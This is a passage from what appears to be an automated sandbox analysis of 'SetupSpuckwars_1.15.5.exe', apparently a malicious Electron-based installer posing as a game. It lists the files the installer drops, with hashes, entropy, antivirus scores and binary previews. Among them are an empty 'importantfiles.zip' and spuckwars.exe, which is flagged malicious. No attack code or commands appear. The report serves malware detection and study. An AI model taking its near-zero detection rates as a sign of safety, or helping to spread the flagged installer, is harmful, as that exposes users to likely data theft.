                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\d3dcompiler_47.dll

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):4891080
                                                                                                                  Entropy (8bit):6.392150637672776
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:49152:IuhjwXkKcimPVqB4faGCMhGNYYpQVTxx6k/ftO4w6FXKpOD21pLeXvZCoFwI8ccA:oy904wYbZCoOI85oyI
                                                                                                                  MD5:CB9807F6CF55AD799E920B7E0F97DF99
                                                                                                                  SHA1:BB76012DED5ACD103ADAD49436612D073D159B29
                                                                                                                  SHA-256:5653BC7B0E2701561464EF36602FF6171C96BFFE96E4C3597359CD7ADDCBA88A
                                                                                                                  SHA-512:F7C65BAE4EDE13616330AE46A197EBAD106920DCE6A31FD5A658DA29ED1473234CA9E2B39CC9833FF903FB6B52FF19E39E6397FAC02F005823ED366CA7A34F62
                                                                                                                  Malicious:false
                                                                                                                  Antivirus:
                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                  • Antivirus: Virustotal, Detection: 0%, Browse
                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........c...c...c..Z....c...c../c....7..c.......c.......c..Z....c..Z...bc..Z....c..Z....c..Z...6c..Z.[..c..Z....c..Rich.c..................PE..d...-L............" ......8.........`.(...................................... K.....2.J...`A..........................................F.x.....F.P.....J.@.....H.......J..!....J......vD.p.....................<.(...P.<.8.............<.(............................text.....8.......8................. ..`.rdata...=....8..@....8.............@..@.data...@.....F.......F.............@....pdata........H.......G.............@..@.rsrc...@.....J.......I.............@..@.reloc........J.......I.............@..B........................................................................................................................................................................................................................................

                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\ffmpeg.dll

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):2862080
                                                                                                                  Entropy (8bit):6.7042588011125215
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:49152:XMoI7Qj3trgDtcfkW76fSL5Yqq6uthy4Y6NO8PyJegPTagrcjdiCOi2iNN3lzl3U:H3Kk76fUq/4TagreBOirnW
                                                                                                                  MD5:D49E7A8F096AD4722BD0F6963E0EFC08
                                                                                                                  SHA1:6835F12391023C0C7E3C8CC37B0496E3A93A5985
                                                                                                                  SHA-256:F11576BF7FFBC3669D1A5364378F35A1ED0811B7831528B6C4C55B0CDC7DC014
                                                                                                                  SHA-512:CA50C28D6AAC75F749ED62EEC8ACBB53317F6BDCEF8794759AF3FAD861446DE5B7FA31622CE67A347949ABB1098ECCB32689B4F1C54458A125BC46574AD51575
                                                                                                                  Malicious:false
                                                                                                                  Antivirus:
                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                  • Antivirus: Virustotal, Detection: 0%, Browse
                                                                                                                  Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...>..d.........." ......".........`.........................................B...........`A..........................................).......).(.............@.x.............A..2..D.).....................(.).(...."#.8.............).P............................text....."......."................. ..`.rdata...t....#..v....".............@..@.data...X.....*.."...n*.............@....pdata..x.....@.......*.............@..@.00cfg..(....@A......B+.............@..@.gxfg....+...PA..,...D+.............@..@.retplne\.....A......p+..................tls..........A......r+.............@....voltbl.8.....A......t+................._RDATA........A......v+.............@..@.reloc...2....A..4...x+.............@..B................................................................................................................................................................................

                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\icudtl.dat

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):10541296
                                                                                                                  Entropy (8bit):6.277012685259397
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:98304:ffPBQYOo+ddlymff2LfPQCvliXUxiG9Ha93Whla6ZENSs285:ffPBhORjfAHliXUxiG9Ha93Whla6ZEV7
                                                                                                                  MD5:ADFD2A259608207F256AEADB48635645
                                                                                                                  SHA1:300BB0AE3D6B6514FB144788643D260B602AC6A4
                                                                                                                  SHA-256:7C8C7B05D70145120B45CCB64BF75BEE3C63FF213E3E64D092D500A96AFB8050
                                                                                                                  SHA-512:8397E74C7A85B0A2987CAE9F2C66CE446923AA4140686D91A1E92B701E16B73A6CE459540E718858607ECB12659BEDAC0AA95C2713C811A2BC2D402691FF29DC
                                                                                                                  Malicious:false
                                                                                                                  Preview:...'........CmnD........ Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html .Q....B.......B...#...B.. $...B..p$...B...$...B...%...B..`P...C...P...C...Q..(C......<C.....OC......bC..@...uC.......C..P....C.......C.......C..p....C.. ....C.......C.......D..p... D.....3D..0...FD.....YD.....lD.......D......D..0....D.......D..p....D......D..@....D.......E......E..@...*E.....=E..P...NE......bE.....rE..@....E.......E.......E..P....E.......E......E..@....F.......F.....'F..0...7F..P...JF......aF......qF...G...F.. H...F..`K...F...K...F...L...F...-...F...c...G....'.'G....'.>G..@.'.UG..0.'.oG....'..G...!'..G...!'..G..P&'..G...)'..G..@*'..H..`.(..H...e).7H..0.).VH...)*.xH....*..H....*..H...P+..H...Y+..H...Z+..I...]+. I..`^+.9I.. .+.UI....+.lI....+..I..P.-..I...=...I.......I.......I.. ....J..p....J......-J..p...EJ......ZJ......rJ..`....J..@....J.......J.......J..0....J.......J.......J..0....K..@....K..../.2K...,/.GK..../.\K..

                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\libEGL.dll

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):479232
                                                                                                                  Entropy (8bit):6.320849747462847
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:12288:su0LAjbIkyVVR8O9v/6TiT5eU3axzvYwo:sub49/6TiQzvYX
                                                                                                                  MD5:09134E6B407083BAAEDF9A8C0BCE68F2
                                                                                                                  SHA1:8847344CCEEAB35C1CDF8637AF9BD59671B4E97D
                                                                                                                  SHA-256:D2107BA0F4E28E35B22837C3982E53784D15348795B399AD6292D0F727986577
                                                                                                                  SHA-512:6FF3ADCB8BE48D0B505A3C44E6550D30A8FEAF4AA108982A7992ED1820C06F49E0AD48D9BD92685FB82783DFD643629BD1FE4073300B61346B63320CBDB051BA
                                                                                                                  Malicious:false
                                                                                                                  Antivirus:
                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                  • Antivirus: Virustotal, Detection: 0%, Browse
                                                                                                                  Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...>..d.........." ................p.....................................................`A........................................x.......e-..(.......x........B..............$...4...........................(...@1..8............0...............................text...E........................... ..`.rdata..,....0......................@..@.data....K....... ..................@....pdata...B.......D..................@..@.00cfg..(....`......................@..@.gxfg...0$...p...&..................@..@.retplne\............4...................tls....!............6..............@....voltbl.8............8.................._RDATA...............:..............@..@.rsrc...x............<..............@..@.reloc..$............B..............@..B........................................................................................................................................

                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\libGLESv2.dll

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):7514112
                                                                                                                  Entropy (8bit):6.462467169487978
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:98304:BuT3g23jeZ/02YPuLaw5RoD1rfEQ3CPdOEabcgsOMdi:BuDPTwLap14QzEijsvi
                                                                                                                  MD5:A5F1921E6DCDE9EAF42E2CCC82B3D353
                                                                                                                  SHA1:1F6F4DF99AE475ACEC4A7D3910BADB26C15919D1
                                                                                                                  SHA-256:50C4DC73D69B6C0189EAB56D27470EE15F99BBBC12BFD87EBE9963A7F9BA404E
                                                                                                                  SHA-512:0C24AE7D75404ADF8682868D0EBF05F02BBF603F7DDD177CF2AF5726802D0A5AFCF539DC5D68E10DAB3FCFBA58903871C9C81054560CF08799AF1CC88F33C702
                                                                                                                  Malicious:false
                                                                                                                  Antivirus:
                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                  • Antivirus: Virustotal, Detection: 0%, Browse
                                                                                                                  Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...>..d.........." ......X..........L.......................................s...........`A..........................................j.....N.j.d.....r.......o.PJ............r.....$.i.......................i.(.....X.8...........P.k.......j.@....................text.....X.......X................. ..`.rdata........X.......X.............@..@.data.........k..|....k.............@....pdata..PJ....o..L...No.............@..@.00cfg..(....0r.......q.............@..@.gxfg...p*...@r..,....q.............@..@.retplne\....pr.......q..................tls....:.....r.......q.............@....voltbl.D.....r.......q................._RDATA........r.......q.............@..@.rsrc.........r.......q.............@..@.reloc........r.......q.............@..B........................................................................................................................................

                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\resources.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):5430320
                                                                                                                  Entropy (8bit):7.995406820581218
                                                                                                                  Encrypted:true
                                                                                                                  SSDEEP:98304:/Zgm9tHEEIcjWbEvKfwa2sEJFz993CNh1QeHQF5qrwrw5z0uxRRrY2kuDYj9ds:RgAtkEx4EKfatyNhHwFkkrw5IcRRtkFs
                                                                                                                  MD5:7971A016AED2FB453C87EB1B8E3F5EB2
                                                                                                                  SHA1:92B91E352BE8209FADCF081134334DEA147E23B8
                                                                                                                  SHA-256:9CFD5D29CDE3DE2F042E5E1DA629743A7C95C1211E1B0B001E4EEBC0F0741E06
                                                                                                                  SHA-512:42082AC0C033655F2EDAE876425A320D96CDAEE6423B85449032C63FC0F7D30914AA3531E65428451C07912265B85F5FEE2ED0BBDB362994D3A1FA7B14186013
                                                                                                                  Malicious:false
                                                                                                                  Preview:............f.R......&....h).....,...4_?...4.G...4.J...4.\...4.e...4.l...4Ho...4.u...4.w...4.y...4.}...4....4&....4H....4.....4....4.....4F....4.....4.....4[....4d....4e....4.....4.....4.....4l....4.....4.....4.....4.....4g....4.....5.....5?....5.....5.....5H....5.:...5.=..~5]D...5oE...5;F...57H...5.H...5mI...5}M...56O...5.T...5{y...5c....5.....5.....5.....5.....5.....5G....5W....<.....<Y(...<.*...<j,...<N-...<.1..,<.2..-</=...<.H../<.T..0<._...@.p...@.x...@g|...@}}...@.~...@.i...Agv...A]x...A.....A.....A'....A....A.....A.....AT....Al....A.....A.....Ao....A$....A.....A2....A=....Ae....A.....A.....AS!...A.%...AH,...Am:...AM<...A:>...A.@...AuB...A.C.. AZF...N....N.....N.....Nc....NL....N....NM....N.....O.....O}....O.....O.....O#....O.....O}....O.....Od....O4....O.....O.0...O.7...Og>...O.A..$O.W..%O.Y..&O]c..'O.d..(O.i..)O.k..*Opm..+O.x..,O(|..-Oq....O..../O....0O....1O...2Og...3O....4O....5Ot...6O....7O....8OV...9OB...:O....;Om...<O....=O....>O....?Om...@OI...AO....BO....CO....DO..

                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\snapshot_blob.bin

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):162352
                                                                                                                  Entropy (8bit):4.860588090157433
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:1536:uebVb91USSzM+uCPNgswpzHD41OzB965pUB8/DR9BgyLMRPoq/rX4JHj/kMKE0YC:uTgsED41OV965LXMj4zF2Xl9B
                                                                                                                  MD5:8FEF5A96DBCC46887C3FF392CBDB1B48
                                                                                                                  SHA1:ED592D75222B7828B7B7AAB97B83516F60772351
                                                                                                                  SHA-256:4DE0F720C416776423ADD7ADA621DA95D0D188D574F08E36E822AD10D85C3ECE
                                                                                                                  SHA-512:E52C7820C69863ECC1E3B552B7F20DA2AD5492B52CAC97502152EBFF45E7A45B00E6925679FD7477CDC79C68B081D6572EEED7AED773416D42C9200ACCC7230E
                                                                                                                  Malicious:false
                                                                                                                  Preview:.........4D11.0.226.20-electron.0...........................................6.. ...`.......06..a........a........a........ar.......a........a..............a.D.q..........`$.........D.u..........`$.......D.y..........`$.......u.D.}..........`$.........D............`D.........D............`$.......=.D............`$.......D............`$.......D............`$.........D............`$.......D............`$......ID............`$.......D............`$.......D............`$....(Jb....D.....@..F^.!..%.`.....(Jb....H.....@..F^..`.....H...IDa........D`....D`....D`.......`.....D]...D....D`......VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa............L.........................................................................................................................................................................

                                                                                                                  C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):162028032
                                                                                                                  Entropy (8bit):6.733467572611259
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:1572864:mCquurbtqKajQe7vqrTU4PrCsdCXrBngPE1cG7VOWe2IkBmUgq3Fd6iU3x6VCdbm:8DAgZi
                                                                                                                  MD5:6DE6C1C8E6ECD92A94595EBC1189C2B2
                                                                                                                  SHA1:A9D5129A026FF6232C827281294466F7C0E5E3F2
                                                                                                                  SHA-256:3F4BBC554C95E66A418A835FA55D1CDA8A48CFE25D7323F4D92693DE2FAEF245
                                                                                                                  SHA-512:C518F1E3D4EDB1A3E41F0D8C9A31D17C0F6997F1638D8CAD3D6F7167A5D4020D0A467EE3919BDA6B0AE902A914F1D4E354E6F22042FC4D167C674BE853FBE95A
                                                                                                                  Malicious:true
                                                                                                                  Antivirus:
                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                  • Antivirus: Virustotal, Detection: 1%, Browse
                                                                                                                  Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...>..d.........."......v.....................@..........................................`...........................................D.od..e.H.T............p..,.@.............`.....:.......................:.(...`...8...........P,H......iD......................text....u.......v.................. ..`.rdata...`k......bk..|..............@..@.data....bE...L.......K.............@....pdata..,.@..p....@...V.............@..@.00cfg..(............J..............@..@.gxfg....B.......B...L..............@..@.retplne.....`...........................rodata......p...................... ..`.tls................................@....voltbl.R...............................CPADinfo8...........................@...LZMADEC............................. ..`_RDATA..............................@..@malloc_h............................ ..`.rsrc...............................@..@.reloc..`.......

                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1spsdqm5.5vi.ps1

                                                                                                                  Download File
                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):60
                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                  Malicious:false
                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4fhlxi11.y0p.psm1

                                                                                                                  Download File
                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):60
                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                  Malicious:false
                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fgawey1c.ttc.ps1

                                                                                                                  Download File
                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):60
                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                  Malicious:false
                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vqb2kkjm.0nr.psm1

                                                                                                                  Download File
                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):60
                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                  Malicious:false
                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                  C:\Users\user\AppData\Local\Temp\importantfiles.zip

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                  File Type:Zip archive data (empty)
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):22
                                                                                                                  Entropy (8bit):1.0476747992754052
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:3:pjt/l:Nt
                                                                                                                  MD5:76CDB2BAD9582D23C1F6F4D868218D6C
                                                                                                                  SHA1:B04F3EE8F5E43FA3B162981B50BB72FE1ACABB33
                                                                                                                  SHA-256:8739C76E681F900923B900C9DF0EF75CF421D39CABB54650C4B9AD19B6A76D85
                                                                                                                  SHA-512:5E2F959F36B66DF0580A94F384C5FC1CEEEC4B2A3925F062D7B68F21758B86581AC2ADCFDDE73A171A28496E758EF1B23CA4951C05455CDAE9357CC3B5A5825F
                                                                                                                  Malicious:false
                                                                                                                  Preview:PK....................

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\LICENSE.electron.txt

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:ASCII text
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):1096
                                                                                                                  Entropy (8bit):5.13006727705212
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:24:36DiJHxRHuyPP3GtIHw1Gg9QH+sUW8Ok4F+d1o36qjFD:36DiJzfPvGt7ICQH+sfIte36AFD
                                                                                                                  MD5:4D42118D35941E0F664DDDBD83F633C5
                                                                                                                  SHA1:2B21EC5F20FE961D15F2B58EFB1368E66D202E5C
                                                                                                                  SHA-256:5154E165BD6C2CC0CFBCD8916498C7ABAB0497923BAFCD5CB07673FE8480087D
                                                                                                                  SHA-512:3FFBBA2E4CD689F362378F6B0F6060571F57E228D3755BDD308283BE6CBBEF8C2E84BEB5FCF73E0C3C81CD944D01EE3FCF141733C4D8B3B0162E543E0B9F3E63
                                                                                                                  Malicious:false
                                                                                                                  Preview:Copyright (c) Electron contributors.Copyright (c) 2013-2020 GitHub Inc...Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the."Software"), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND.NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE.LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION.OF CONTRACT, TORT OR OTHERWISE, ARISIN

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\LICENSES.chromium.html

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:HTML document, ASCII text
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):6766160
                                                                                                                  Entropy (8bit):4.735324161006094
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:24576:d7rs5kjWSnB3lWNeUmf0f6W6M6q6A6r/HXpErpem:rovj
                                                                                                                  MD5:180F8ACC70405077BADC751453D13625
                                                                                                                  SHA1:35DC54ACAD60A98AEEC47C7ADE3E6A8C81F06883
                                                                                                                  SHA-256:0BFA9A636E722107B6192FF35C365D963A54E1DE8A09C8157680E8D0FBBFBA1C
                                                                                                                  SHA-512:40D3358B35EB0445127C70DEB0CB87EC1313ECA285307CDA168605A4FD3D558B4BE9EB24A59568ECA9EE1F761E578C39B2DEF63AD48E40D31958DB82F128E0EC
                                                                                                                  Malicious:false
                                                                                                                  Preview: Generated by licenses.py; do not edit. --><!doctype html>.<html>.<head>.<meta charset="utf-8">.<meta name="viewport" content="width=device-width">.<meta name="color-scheme" content="light dark">.<title>Credits</title>.<link rel="stylesheet" href="chrome://resources/css/text_defaults.css">.<link rel="stylesheet" href="chrome://credits/credits.css">.</head>.<body>.<span class="page-title" style="float:left;">Credits</span>.<a id="print-link" href="#" style="float:right;" hidden>Print</a>.<div style="clear:both; overflow:auto;"> Chromium <3s the following projects -->.<div class="product">.<span class="title">2-dim General Purpose FFT (Fast Fourier/Cosine/Sine Transform) Package</span>.<span class="homepage"><a href="http://www.kurims.kyoto-u.ac.jp/~ooura/fft.html">homepage</a></span>.<input type="checkbox" hidden id="0">.<label class="show" for="0" tabindex="0"></label>.<div class="licence">.<pre>Copyright(C) 1997,2001 Takuya OOURA (email: ooura@kurims.kyoto-u.ac.jp)..You may us

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\chrome_100_percent.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):129690
                                                                                                                  Entropy (8bit):7.91868310789661
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:3072:AEKzwqCT4weSxQCS/qGTL2o418Gb0+VRLf0ld0GY3cQ39Vm2I:AEKzwt4hC4/rK18Gb0OV8ld0GecQ3f2
                                                                                                                  MD5:8626E1D68E87F86C5B4DABDF66591913
                                                                                                                  SHA1:4CD7B0AC0D3F72587708064A7B0A3BECA3F7B81C
                                                                                                                  SHA-256:2CAA1DA9B6A6E87BDB673977FEE5DD771591A1B6ED5D3C5F14B024130A5D1A59
                                                                                                                  SHA-512:03BCD8562482009060F249D6A0DD7382FC94D669A2094DEC08E8D119BE51BEF2C3B7B484BB5B7F805AE98E372DAB9383A2C11A63AB0F5644146556B1BB9A4C99
                                                                                                                  Malicious:false
                                                                                                                  Preview:..............t...#.....:.I....yp....y6....y.....y#....y.....y`....ym....y.....y.....yI....y.....y'"...y.,...y.7...y;9...yv:...y(<...y.<...y.B...yfH...y.J...y.K...y.L.....M...N...aP...IS...BV...uY...]...Pa....d..&..h..'..i..(.hk..)..l..*..m..+.An..0..n..1.....2.....>.....?.....@.....A.....B.P...C.}...D.....F.9...H.r...I.I...J.....K.....L.....M.....N.6...O.....Q..%..R..(..T..1..U..4..W..>..X..H..^..M.._..N..`.mW..a.._..b..`..c.Cb..d.$d..e.Jg..g..g..i..k..j.*m..k..n..l..p..m..s..n..s..o..u..p..v..r..y..s.|{..u..~..v.<...x.....y.....~.......r..................................8................l.....;..... ......................p.....2..... .....8.....>.......................M.......................^.......................x...r.R...s.....t.....u.K...v.....w.....x.....y.+...z.~...{.....|.....}.a...~.u....._..........._...........l...................................Y.......................;.................R.................w...........6.................].................z.......

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\chrome_200_percent.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):179971
                                                                                                                  Entropy (8bit):7.941375268079628
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:3072:rDQYaEQN6AJPrSxQCS/qGTafR54x5GMR+F44ffbdZnYw9p4AbIVGYoDd+HxNK/r4:rDQYaNN68rC4/Ygx5GMRejnbdZnVE6YR
                                                                                                                  MD5:48515D600258D60019C6B9C6421F79F6
                                                                                                                  SHA1:0EF0B44641D38327A360AA6954B3B6E5AAB2AF16
                                                                                                                  SHA-256:07BEE34E189FE9A8789AED78EA59AD41414B6E611E7D74DA62F8E6CA36AF01CE
                                                                                                                  SHA-512:B7266BC8ABC55BD389F594DAC0C0641ECF07703F35D769B87E731B5FDF4353316D44F3782A4329B3F0E260DEAD6B114426DDB1B0FB8CD4A51E0B90635F1191D9
                                                                                                                  Malicious:false
                                                                                                                  Preview:..............t...#.....:.t....y.....y.....y.....y.....y.....y.....y.%...y.*...y.-...yc5...y.9...y.A...y.V...yCk...y.m...y)o...yyr...y#s...y.}...y.....y....y....y................................K....!.......&.....'....(.Q...).....*.....+.*...0....1.....2.....>.....?.f...@..$..A..&..B..)..C.1/..D.M:..F..<..H.JD..I.-K..J..P..K..V..L..\..M..^..N.Vc..O.?g..Q..p..R..t..T.g|..U.X...W.....X.H...^....._.....`.....a.....b.b...c.....d.....e.....g.....i.....j.....k.....l.....m.....n.....o.....p.....r.....s.....u.....v.....x.....y.....~........*.....+...../.....4.....6.....8....T9.....9....~;.....=....q>.....@.....A....FD.....I.....M.....U.....].....c.....i.....o....Tu.....v.....w.....x.....y.....{.....|.....}..........?.........r.....s.U...t.....u.....v....w.....x....y.*...z.....{....|.<...}.....~.............1...........L..........z.................G...........X...........f.....*..........@.....................q...........Y..........W...........;........................

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\d3dcompiler_47.dll

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):4891080
                                                                                                                  Entropy (8bit):6.392150637672776
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:49152:IuhjwXkKcimPVqB4faGCMhGNYYpQVTxx6k/ftO4w6FXKpOD21pLeXvZCoFwI8ccA:oy904wYbZCoOI85oyI
                                                                                                                  MD5:CB9807F6CF55AD799E920B7E0F97DF99
                                                                                                                  SHA1:BB76012DED5ACD103ADAD49436612D073D159B29
                                                                                                                  SHA-256:5653BC7B0E2701561464EF36602FF6171C96BFFE96E4C3597359CD7ADDCBA88A
